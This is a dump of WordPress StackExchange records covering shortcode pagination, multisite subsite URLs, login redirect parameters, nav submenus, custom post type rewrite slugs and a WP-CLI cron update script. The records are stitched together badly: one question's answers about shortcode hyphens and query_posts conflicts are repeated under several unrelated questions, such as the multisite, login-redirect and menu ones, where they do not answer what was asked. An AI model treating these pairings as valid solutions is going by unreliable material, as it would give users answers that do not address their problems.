may be here is the error ``` add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' ); add_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' ); ``` change to ``` add_action( 'wp_ajax_my_ajax_action_callback', 'my_ajax_action_callback' ); add_action('wp_ajax_nopriv_my_ajax_action_callback','my_ajax_action_callback' ); ``` and in ajax change: ``` action : 'my_ajax_action_callback ``` go to `functions.php` and add: ``` require(dirname(__FILE__) . '/custom_template.php'); ``` make sure your ajax `url` is correct!!
290,638
<p>I have a picture gallery that is working, I am converting it to a shortcode so the positioning can be flexible and I don't have to copy the code over and over again.</p> <p>The issue I am having is that the pagination doesn't advance to the next page. The images show, the pagination shows, the page number shows...but when I try and click on page two or three the images, pagination, and page numbers don't change. The URL changes, the content doesn't.</p> <p>I have a page with some manual code (that works and advances or changes when pagination is clicked).</p> <p>The site I am working on is: <a href="http://joshrodg.com/test/banquet/2017-induction-banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/2017-induction-banquet/</a>. My test shortcode is on top (underneath 2017 Induction Banquet), the one that works, is the bottom one (manual code).</p> <p>My shortcode looks like: <code>[halloffame rml_folder="16"]</code></p> <p>My function looks like:</p> <pre><code>function picture_gallery($atts){ extract(shortcode_atts(array( 'rml_folder' =&gt; 1 ), $atts)); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; query_posts("post_status=inherit&amp;post_type=attachment&amp;rml_folder=".$rml_folder."&amp;orderby=title&amp;order=asc&amp;posts_per_page=12&amp;paged=".$paged); if ( have_posts() ) : $return_string .= '&lt;div id="album"&gt;'; while ( have_posts() ) : the_post(); $return_string .= '&lt;div class="gallery"&gt;'; $image = wp_get_attachment_image(get_post_thumbnail_id($post-&gt;ID), 'medium'); $return_string .= '&lt;a href="'.wp_get_attachment_url($post-&gt;ID).'" class="simplelightbox"&gt;'.$image.'&lt;/a&gt;'; $return_string .= '&lt;p&gt;'.get_the_title().'&lt;/p&gt;'; $return_string .= '&lt;/div&gt;'; endwhile; $return_string .= '&lt;/div&gt;'; endif; $return_string .= '&lt;div id="pagi"&gt;'; $return_string .= '&lt;div class="wrap"&gt;'; $args = array( 'prev_text' =&gt; __('&lt;span class="left"&gt;&lt;/span&gt;&lt;span class="ion-android-arrow-dropleft"&gt;&lt;/span&gt;'), 'next_text' =&gt; __('&lt;span class="ion-android-arrow-dropright"&gt;&lt;/span&gt;&lt;span class="right"&gt;&lt;/span&gt;') ); $return_string .= paginate_links($args); $return_string .= '&lt;/div&gt;'; $return_string .= '&lt;/div&gt;'; global $wp_query; $current_page = get_query_var( 'paged' ); $pages = $wp_query-&gt;max_num_pages; $return_string .= '&lt;p align="center"&gt;(Page: '.$current_page.' of '.$pages.')&lt;/p&gt;'; wp_reset_query(); return $return_string; } function register_shortcodes(){ add_shortcode('halloffame', 'picture_gallery'); } add_action( 'init', 'register_shortcodes'); </code></pre> <p>Because this is working with the manual code, I'm guessing something is not quite right with my shortcode code.</p> <p>Any ideas?</p> <p>** UPDATE **</p> <p>So, on the page <a href="http://joshrodg.com/test/banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/</a>, the pagination is broken, but on <a href="http://joshrodg.com/test/banquet/2017-induction-banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/2017-induction-banquet/</a> the pagination works. <code>2017-induction-banquet</code> is the original post, it's a child post of <a href="http://joshrodg.com/test/banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/</a>. On <a href="http://joshrodg.com/test/banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/</a>, I am displaying the content of all my child pages. So, the shortcode itself is working, just not on this page - so there might be something wrong with my loop.</p> <p>The loop for this page looks like:</p> <pre><code>&lt;?php query_posts("order=asc&amp;orderby=menu_order&amp;posts_per_page=-1&amp;post_type=page&amp;post_parent=".$post-&gt;ID); ?&gt; &lt;?php while ( have_posts() ) : the_post(); ?&gt; &lt;div class="wrap"&gt; &lt;h2&gt;&lt;?php the_title(); ?&gt;&lt;/h2&gt; &lt;/div&gt; &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt; &lt;?php endwhile; ?&gt; &lt;?php wp_reset_query(); ?&gt; </code></pre> <p>I'm thinking there might be a conflict with the loop in the shortcode and the loop on this page.</p> <p>The pagination on the original page looks like: <a href="http://joshrodg.com/test/banquet/2017-induction-banquet/page/2/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/2017-induction-banquet/page/2/</a></p> <p>The pagination on the parent page looks like: <a href="http://joshrodg.com/test/banquet/page/2/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/page/2/</a></p> <p>Not sure if that makes a difference, but figured it's worth mentioning.</p> <p>Thanks,<br /> Josh</p>
[ { "answer_id": 290640, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 1, "selected": false, "text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyphens\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Shortcode_API#Hyphens</a> .</p>\n" }, { "answer_id": 291267, "author": "Josh Rodgers", "author_id": 9820, "author_profile": "https://wordpress.stackexchange.com/users/9820", "pm_score": 1, "selected": true, "text": "<p>So, I managed to find a solution.</p>\n\n<p>I tried to change <code>query_posts</code> on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.</p>\n\n<p>The query now looks like:</p>\n\n<pre><code>&lt;?php\n $args = array(\n 'order' =&gt; 'asc',\n 'orderby' =&gt; 'menu_order',\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'page',\n 'post_parent' =&gt; $post-&gt;ID\n\n );\n\n $query = new WP_Query( $args );\n?&gt;\n\n &lt;?php while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt;\n &lt;div class=\"wrap\"&gt;\n &lt;h2&gt;&lt;?php the_title(); ?&gt;&lt;/h2&gt;\n &lt;/div&gt;\n &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt;\n &lt;?php endwhile; ?&gt;\n&lt;?php wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>The shortcode did not change (other than removing the hyphen).</p>\n\n<p>So, the two queries were conflicting with each other. The different queries <code>query_posts</code> and <code>WP_Query</code> fixed the issue.</p>\n\n<p>Thanks,<br />\nJosh</p>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290638", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/9820/" ]
I have a picture gallery that is working, I am converting it to a shortcode so the positioning can be flexible and I don't have to copy the code over and over again. The issue I am having is that the pagination doesn't advance to the next page. The images show, the pagination shows, the page number shows...but when I try and click on page two or three the images, pagination, and page numbers don't change. The URL changes, the content doesn't. I have a page with some manual code (that works and advances or changes when pagination is clicked). The site I am working on is: <http://joshrodg.com/test/banquet/2017-induction-banquet/>. My test shortcode is on top (underneath 2017 Induction Banquet), the one that works, is the bottom one (manual code). My shortcode looks like: `[halloffame rml_folder="16"]` My function looks like: ``` function picture_gallery($atts){ extract(shortcode_atts(array( 'rml_folder' => 1 ), $atts)); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; query_posts("post_status=inherit&post_type=attachment&rml_folder=".$rml_folder."&orderby=title&order=asc&posts_per_page=12&paged=".$paged); if ( have_posts() ) : $return_string .= '<div id="album">'; while ( have_posts() ) : the_post(); $return_string .= '<div class="gallery">'; $image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium'); $return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>'; $return_string .= '<p>'.get_the_title().'</p>'; $return_string .= '</div>'; endwhile; $return_string .= '</div>'; endif; $return_string .= '<div id="pagi">'; $return_string .= '<div class="wrap">'; $args = array( 'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'), 'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>') ); $return_string .= paginate_links($args); $return_string .= '</div>'; $return_string .= '</div>'; global $wp_query; $current_page = get_query_var( 'paged' ); $pages = $wp_query->max_num_pages; $return_string .= '<p align="center">(Page: '.$current_page.' of '.$pages.')</p>'; wp_reset_query(); return $return_string; } function register_shortcodes(){ add_shortcode('halloffame', 'picture_gallery'); } add_action( 'init', 'register_shortcodes'); ``` Because this is working with the manual code, I'm guessing something is not quite right with my shortcode code. Any ideas? \*\* UPDATE \*\* So, on the page <http://joshrodg.com/test/banquet/>, the pagination is broken, but on <http://joshrodg.com/test/banquet/2017-induction-banquet/> the pagination works. `2017-induction-banquet` is the original post, it's a child post of <http://joshrodg.com/test/banquet/>. On <http://joshrodg.com/test/banquet/>, I am displaying the content of all my child pages. So, the shortcode itself is working, just not on this page - so there might be something wrong with my loop. The loop for this page looks like: ``` <?php query_posts("order=asc&orderby=menu_order&posts_per_page=-1&post_type=page&post_parent=".$post->ID); ?> <?php while ( have_posts() ) : the_post(); ?> <div class="wrap"> <h2><?php the_title(); ?></h2> </div> <p><?php the_content(); ?></p> <?php endwhile; ?> <?php wp_reset_query(); ?> ``` I'm thinking there might be a conflict with the loop in the shortcode and the loop on this page. The pagination on the original page looks like: <http://joshrodg.com/test/banquet/2017-induction-banquet/page/2/> The pagination on the parent page looks like: <http://joshrodg.com/test/banquet/page/2/> Not sure if that makes a difference, but figured it's worth mentioning. Thanks, Josh
So, I managed to find a solution. I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue. The query now looks like: ``` <?php $args = array( 'order' => 'asc', 'orderby' => 'menu_order', 'posts_per_page' => -1, 'post_type' => 'page', 'post_parent' => $post->ID ); $query = new WP_Query( $args ); ?> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <div class="wrap"> <h2><?php the_title(); ?></h2> </div> <p><?php the_content(); ?></p> <?php endwhile; ?> <?php wp_reset_postdata(); ?> ``` The shortcode did not change (other than removing the hyphen). So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue. Thanks, Josh
290,641
<p>Hy everyone! I listed the all network posts on my multisite to my network-home's homepage with "WDS Multisite Aggregate" plugin. This works fine, but now I want to get the author/publisher subsite's domains above each posts, similar to: by Author_name, just in this case so: via subsite_url.</p> <p>So now, if Author1 publishing on his own site, example [subsite1.network.com] a new post, this post immediately appears on the homepage of [network.com], and appear above of the post content the Author's username, thus: by Author1.</p> <p>Besides this, the all "shared" post's link-title control to the publisher site, so example, when on the homepage of [network.com] a new post appears, this post title shows to [subsite.network.com/current-post-idx] when I use this <code>the_title( sprintf( '&lt;h2 class="entry-title" style="" itemprop="headline"&gt;&lt;a href="%s" rel="bookmark"&gt;', esc_url( get_permalink() ) ), '&lt;/a&gt;&lt;/h2&gt;' );</code> and if I open [network.com/current-post-idx], this redirect to [subsite.network.com/current-post-idx].</p> <p>So, <code>get_permalink()</code> shows to the original post where the author publishing that.</p> <p>Now I would like that similar to this appear above of the post content the Author's site, where can he publishing the current post, thus: via [subsite1.network.com].</p> <p>So, if <code>get_permalink()</code> = [subsite1.network.com/current-post-idx], in this same case how can I get simply [subsite1.network.com]?</p> <p>... <code>get_home_url()</code> and <code>get_site_url()</code> obviously shows to [network.com] because that particular homepage it belongs this.</p> <p>Sorry, this is my first question here, ago this I find everything on the subject on the internet, but about this I did't find anything anywhere.</p>
[ { "answer_id": 290640, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 1, "selected": false, "text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyphens\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Shortcode_API#Hyphens</a> .</p>\n" }, { "answer_id": 291267, "author": "Josh Rodgers", "author_id": 9820, "author_profile": "https://wordpress.stackexchange.com/users/9820", "pm_score": 1, "selected": true, "text": "<p>So, I managed to find a solution.</p>\n\n<p>I tried to change <code>query_posts</code> on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.</p>\n\n<p>The query now looks like:</p>\n\n<pre><code>&lt;?php\n $args = array(\n 'order' =&gt; 'asc',\n 'orderby' =&gt; 'menu_order',\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'page',\n 'post_parent' =&gt; $post-&gt;ID\n\n );\n\n $query = new WP_Query( $args );\n?&gt;\n\n &lt;?php while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt;\n &lt;div class=\"wrap\"&gt;\n &lt;h2&gt;&lt;?php the_title(); ?&gt;&lt;/h2&gt;\n &lt;/div&gt;\n &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt;\n &lt;?php endwhile; ?&gt;\n&lt;?php wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>The shortcode did not change (other than removing the hyphen).</p>\n\n<p>So, the two queries were conflicting with each other. The different queries <code>query_posts</code> and <code>WP_Query</code> fixed the issue.</p>\n\n<p>Thanks,<br />\nJosh</p>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290641", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134567/" ]
Hy everyone! I listed the all network posts on my multisite to my network-home's homepage with "WDS Multisite Aggregate" plugin. This works fine, but now I want to get the author/publisher subsite's domains above each posts, similar to: by Author\_name, just in this case so: via subsite\_url. So now, if Author1 publishing on his own site, example [subsite1.network.com] a new post, this post immediately appears on the homepage of [network.com], and appear above of the post content the Author's username, thus: by Author1. Besides this, the all "shared" post's link-title control to the publisher site, so example, when on the homepage of [network.com] a new post appears, this post title shows to [subsite.network.com/current-post-idx] when I use this `the_title( sprintf( '<h2 class="entry-title" style="" itemprop="headline"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );` and if I open [network.com/current-post-idx], this redirect to [subsite.network.com/current-post-idx]. So, `get_permalink()` shows to the original post where the author publishing that. Now I would like that similar to this appear above of the post content the Author's site, where can he publishing the current post, thus: via [subsite1.network.com]. So, if `get_permalink()` = [subsite1.network.com/current-post-idx], in this same case how can I get simply [subsite1.network.com]? ... `get_home_url()` and `get_site_url()` obviously shows to [network.com] because that particular homepage it belongs this. Sorry, this is my first question here, ago this I find everything on the subject on the internet, but about this I did't find anything anywhere.
So, I managed to find a solution. I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue. The query now looks like: ``` <?php $args = array( 'order' => 'asc', 'orderby' => 'menu_order', 'posts_per_page' => -1, 'post_type' => 'page', 'post_parent' => $post->ID ); $query = new WP_Query( $args ); ?> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <div class="wrap"> <h2><?php the_title(); ?></h2> </div> <p><?php the_content(); ?></p> <?php endwhile; ?> <?php wp_reset_postdata(); ?> ``` The shortcode did not change (other than removing the hyphen). So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue. Thanks, Josh
290,667
<p><strong>If i write</strong> <code>http://domain.com/wp-login.php?redirect_to=http://domain.com/specificpage/?parameter1=dog&amp;parameter2=dog&amp;parameter3=cat</code> in the url address bar (to make the login page redirect to a specific page with parameters) and login.</p> <p><strong>I get</strong> redirected to the right page but only with first parameter (<code>http://domain.com/specificpage/?parameter1=dog</code>). the other two parameters are stripped from the url.</p> <p>How can i solve that?</p> <p><em>Btw - the parameters are acceptable on this site (set in the functions file with <code>add_custom_query_vars</code> so that's not the problem).</em></p>
[ { "answer_id": 290640, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 1, "selected": false, "text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyphens\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Shortcode_API#Hyphens</a> .</p>\n" }, { "answer_id": 291267, "author": "Josh Rodgers", "author_id": 9820, "author_profile": "https://wordpress.stackexchange.com/users/9820", "pm_score": 1, "selected": true, "text": "<p>So, I managed to find a solution.</p>\n\n<p>I tried to change <code>query_posts</code> on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.</p>\n\n<p>The query now looks like:</p>\n\n<pre><code>&lt;?php\n $args = array(\n 'order' =&gt; 'asc',\n 'orderby' =&gt; 'menu_order',\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'page',\n 'post_parent' =&gt; $post-&gt;ID\n\n );\n\n $query = new WP_Query( $args );\n?&gt;\n\n &lt;?php while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt;\n &lt;div class=\"wrap\"&gt;\n &lt;h2&gt;&lt;?php the_title(); ?&gt;&lt;/h2&gt;\n &lt;/div&gt;\n &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt;\n &lt;?php endwhile; ?&gt;\n&lt;?php wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>The shortcode did not change (other than removing the hyphen).</p>\n\n<p>So, the two queries were conflicting with each other. The different queries <code>query_posts</code> and <code>WP_Query</code> fixed the issue.</p>\n\n<p>Thanks,<br />\nJosh</p>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290667", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123362/" ]
**If i write** `http://domain.com/wp-login.php?redirect_to=http://domain.com/specificpage/?parameter1=dog&parameter2=dog&parameter3=cat` in the url address bar (to make the login page redirect to a specific page with parameters) and login. **I get** redirected to the right page but only with first parameter (`http://domain.com/specificpage/?parameter1=dog`). the other two parameters are stripped from the url. How can i solve that? *Btw - the parameters are acceptable on this site (set in the functions file with `add_custom_query_vars` so that's not the problem).*
So, I managed to find a solution. I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue. The query now looks like: ``` <?php $args = array( 'order' => 'asc', 'orderby' => 'menu_order', 'posts_per_page' => -1, 'post_type' => 'page', 'post_parent' => $post->ID ); $query = new WP_Query( $args ); ?> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <div class="wrap"> <h2><?php the_title(); ?></h2> </div> <p><?php the_content(); ?></p> <?php endwhile; ?> <?php wp_reset_postdata(); ?> ``` The shortcode did not change (other than removing the hyphen). So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue. Thanks, Josh
290,696
<p>On my WP site, I want to create a menu which includes sub-menus inside a dropdown.</p> <p>I structured my menu to be like this: <a href="https://i.stack.imgur.com/cQzPp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cQzPp.png" alt="enter image description here"></a></p> <p>From what I have seen from several WP tutorials on the web. It is expected that the three sub-items will be inside the dropdown of "Products". However that is not the case with my site:</p> <p><a href="https://i.stack.imgur.com/bgmGc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bgmGc.png" alt="enter image description here"></a></p> <p>Here is the code I use in my template to generate the Nav bar:</p> <pre><code>&lt;header class="primary-header"&gt; &lt;a &lt;?php if(!is_page('Body Strap') &amp;&amp; !is_page('The Metronome') &amp;&amp; !is_page('Soundbrenner Pulse Home') &amp;&amp; !is_page('DAW Tools') &amp;&amp; !is_page('Artists')&amp;&amp; !is_page('Vibration') ){ echo 'class="logo logo-black"'; } else { echo 'class="logo logo-white"'; }?&gt; href=&lt;?php echo get_home_url().'/'?&gt;&gt; &lt;span&gt;Soundbrenner Pulse&lt;/span&gt; &lt;/a&gt; &lt;button class="open-mobile-menu"&gt;Trigger&lt;/button&gt; &lt;?php wp_nav_menu( array( 'menu' =&gt; 'MainMenu-Theme2', 'theme_location' =&gt; 'primary', 'container' =&gt; 'nav', 'menu_class' =&gt; false ) ); ?&gt; &lt;/header&gt; </code></pre> <p>How to hide the three sub-menus into dropdown menu of "Products" ? </p>
[ { "answer_id": 290640, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 1, "selected": false, "text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyphens\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Shortcode_API#Hyphens</a> .</p>\n" }, { "answer_id": 291267, "author": "Josh Rodgers", "author_id": 9820, "author_profile": "https://wordpress.stackexchange.com/users/9820", "pm_score": 1, "selected": true, "text": "<p>So, I managed to find a solution.</p>\n\n<p>I tried to change <code>query_posts</code> on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.</p>\n\n<p>The query now looks like:</p>\n\n<pre><code>&lt;?php\n $args = array(\n 'order' =&gt; 'asc',\n 'orderby' =&gt; 'menu_order',\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'page',\n 'post_parent' =&gt; $post-&gt;ID\n\n );\n\n $query = new WP_Query( $args );\n?&gt;\n\n &lt;?php while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt;\n &lt;div class=\"wrap\"&gt;\n &lt;h2&gt;&lt;?php the_title(); ?&gt;&lt;/h2&gt;\n &lt;/div&gt;\n &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt;\n &lt;?php endwhile; ?&gt;\n&lt;?php wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>The shortcode did not change (other than removing the hyphen).</p>\n\n<p>So, the two queries were conflicting with each other. The different queries <code>query_posts</code> and <code>WP_Query</code> fixed the issue.</p>\n\n<p>Thanks,<br />\nJosh</p>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290696", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133243/" ]
On my WP site, I want to create a menu which includes sub-menus inside a dropdown. I structured my menu to be like this: [![enter image description here](https://i.stack.imgur.com/cQzPp.png)](https://i.stack.imgur.com/cQzPp.png) From what I have seen from several WP tutorials on the web. It is expected that the three sub-items will be inside the dropdown of "Products". However that is not the case with my site: [![enter image description here](https://i.stack.imgur.com/bgmGc.png)](https://i.stack.imgur.com/bgmGc.png) Here is the code I use in my template to generate the Nav bar: ``` <header class="primary-header"> <a <?php if(!is_page('Body Strap') && !is_page('The Metronome') && !is_page('Soundbrenner Pulse Home') && !is_page('DAW Tools') && !is_page('Artists')&& !is_page('Vibration') ){ echo 'class="logo logo-black"'; } else { echo 'class="logo logo-white"'; }?> href=<?php echo get_home_url().'/'?>> <span>Soundbrenner Pulse</span> </a> <button class="open-mobile-menu">Trigger</button> <?php wp_nav_menu( array( 'menu' => 'MainMenu-Theme2', 'theme_location' => 'primary', 'container' => 'nav', 'menu_class' => false ) ); ?> </header> ``` How to hide the three sub-menus into dropdown menu of "Products" ?
So, I managed to find a solution. I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue. The query now looks like: ``` <?php $args = array( 'order' => 'asc', 'orderby' => 'menu_order', 'posts_per_page' => -1, 'post_type' => 'page', 'post_parent' => $post->ID ); $query = new WP_Query( $args ); ?> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <div class="wrap"> <h2><?php the_title(); ?></h2> </div> <p><?php the_content(); ?></p> <?php endwhile; ?> <?php wp_reset_postdata(); ?> ``` The shortcode did not change (other than removing the hyphen). So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue. Thanks, Josh
290,703
<p>I've been struggling with a quite specific point. I registered some custom post types and specified the rewrite slug for each one of them.</p> <pre><code>'rewrite' =&gt; array( 'slug' =&gt; 'my-slug' ), </code></pre> <p>But later when i'm trying to use the "rewrite slug" and to find which post_type is requested I cannot use the get_post_type() function : the post_type isn't recognized from the rewrite slug.</p> <pre><code>get_post_type( 'my-slug' ) </code></pre> <p>returns</p> <pre><code>bool(false) </code></pre> <p>Does anyone have an elegant solution to find a post_type from its rewrite slug ?</p>
[ { "answer_id": 290707, "author": "rudtek", "author_id": 77767, "author_profile": "https://wordpress.stackexchange.com/users/77767", "pm_score": 2, "selected": false, "text": "<p>There are two ways I've used for doing this...each with issues:</p>\n\n<p>This one this only works if you've set the rewrite slug for your CPT. if you don't set one it could lead to an error:</p>\n\n<pre><code>$post_type = get_queried_object();\necho $post_type-&gt;rewrite['slug'];\n</code></pre>\n\n<p>This one will not work on archive pages, because the page type will be \"page\":</p>\n\n<pre><code>$post_type = get_post_type();\nif ( $post_type )\n{\n $post_type_data = get_post_type_object( $post_type );\n $post_type_slug = $post_type_data-&gt;rewrite['slug'];\n echo $post_type_slug;\n}\n</code></pre>\n" }, { "answer_id": 312792, "author": "MrUzu", "author_id": 134609, "author_profile": "https://wordpress.stackexchange.com/users/134609", "pm_score": 0, "selected": false, "text": "<p>I've finally had time to investigate and found a solution (this post helped me : <a href=\"https://wordpress.stackexchange.com/questions/34410/get-list-of-all-registered-post-types-slugs\">Get list of all registered post types slugs</a>).</p>\n\n<p>From what I know the only to get a Post Type using its rewrite slug is to loop over the registerd post types and compare the rewrite slug with the one requested.</p>\n\n<pre><code>$types = get_post_types( ['public' =&gt; true,'_builtin' =&gt; false], 'objects' );\nforeach ( $types as $type ) {\n if ( isset( $type-&gt;rewrite['slug'] ) &amp;&amp; 'my-rewrite-slug' == $type-&gt;rewrite['slug'] ) {\n $post_type_obj = $type;\n continue;\n }\n}\n</code></pre>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290703", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134609/" ]
I've been struggling with a quite specific point. I registered some custom post types and specified the rewrite slug for each one of them. ``` 'rewrite' => array( 'slug' => 'my-slug' ), ``` But later when i'm trying to use the "rewrite slug" and to find which post\_type is requested I cannot use the get\_post\_type() function : the post\_type isn't recognized from the rewrite slug. ``` get_post_type( 'my-slug' ) ``` returns ``` bool(false) ``` Does anyone have an elegant solution to find a post\_type from its rewrite slug ?
There are two ways I've used for doing this...each with issues: This one this only works if you've set the rewrite slug for your CPT. if you don't set one it could lead to an error: ``` $post_type = get_queried_object(); echo $post_type->rewrite['slug']; ``` This one will not work on archive pages, because the page type will be "page": ``` $post_type = get_post_type(); if ( $post_type ) { $post_type_data = get_post_type_object( $post_type ); $post_type_slug = $post_type_data->rewrite['slug']; echo $post_type_slug; } ```
290,709
<p>This is how I started to update WordPress daily:</p> <pre><code>cat &lt;&lt;-"CRON_DAILY" &gt; /etc/cron.daily/nses_cron_daily for dir in /var/www/html/*/; do cd "$dir" &amp;&amp; /usr/local/bin/wp plugin update --all --allow-root; done for dir in /var/www/html/*/; do cd "$dir" &amp;&amp; /usr/local/bin/wp core update --allow-root; done for dir in /var/www/html/*/; do cd "$dir" &amp;&amp; /usr/local/bin/wp theme update --all --allow-root; done chown www-data:www-data /var/www/html/* -R find /var/www/html/* -type d -exec chmod 755 {} \; find /var/www/html/* -type f -exec chmod 644 {} \; CRON_DAILY chmod +x /etc/cron.daily/nses_cron_daily </code></pre> <p>I create the file with the heredocument, change permissions, and run daily.</p> <p>Is there a shorter, pluginless way to update (less rows, hahaha)?</p> <h2>Update</h2> <p>I didn't change basically anything inside <code>wp-config.php</code> besides database credentials.</p>
[ { "answer_id": 290718, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 3, "selected": true, "text": "<p>If you have this statement (by default) in your wp-config file</p>\n\n<pre><code>define( 'WP_AUTO_UPDATE_CORE', true );\n</code></pre>\n\n<p>Then WP core files are automatically updated for you. This assumes that you have traffic to your site (if nobody ever visits your site, the updates won't happen.)</p>\n\n<p>So your solution is actually causing more work by the server, and is sort of redundant and repetitive. By default WP will check for core updates all on it's own.</p>\n" }, { "answer_id": 293627, "author": "user237862", "author_id": 136539, "author_profile": "https://wordpress.stackexchange.com/users/136539", "pm_score": 0, "selected": false, "text": "<p>Some notes about the code the OP posted up:</p>\n\n<p>I wouldn't do updates as root myself - I use \"sudo -u webuser /usr/local/bin/wp...\" commands instead. If you have each VirtualHost run as a different user (httpd.itk for Apache), then you'll need to pick up the user from the Web config to run wp as well.</p>\n\n<p>The big, big downer about all WP updates (whether left to the automatic WP updates or done via WP-CLI) is that there is no automatic DB/Web backup or automatic rollback if the updates fail.</p>\n\n<p>It's why I had to write a pretty mammoth script to do WP updates for the 100+ sites I manage in a \"safe way\" - it does a Web/DB backup, a load of pre-update and post-update checks and if the post-update checks fail, it restores the Web/DB immediately. I also added features like being able to hold back updates for known problematic plugins/themes. One big advantage is that I can exactly schedule when our dev, UAT and live sites are updated (i.e. it's not left to whenever an update comes down the pipe).</p>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290709", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131001/" ]
This is how I started to update WordPress daily: ``` cat <<-"CRON_DAILY" > /etc/cron.daily/nses_cron_daily for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp plugin update --all --allow-root; done for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp core update --allow-root; done for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp theme update --all --allow-root; done chown www-data:www-data /var/www/html/* -R find /var/www/html/* -type d -exec chmod 755 {} \; find /var/www/html/* -type f -exec chmod 644 {} \; CRON_DAILY chmod +x /etc/cron.daily/nses_cron_daily ``` I create the file with the heredocument, change permissions, and run daily. Is there a shorter, pluginless way to update (less rows, hahaha)? Update ------ I didn't change basically anything inside `wp-config.php` besides database credentials.
If you have this statement (by default) in your wp-config file ``` define( 'WP_AUTO_UPDATE_CORE', true ); ``` Then WP core files are automatically updated for you. This assumes that you have traffic to your site (if nobody ever visits your site, the updates won't happen.) So your solution is actually causing more work by the server, and is sort of redundant and repetitive. By default WP will check for core updates all on it's own.
290,732
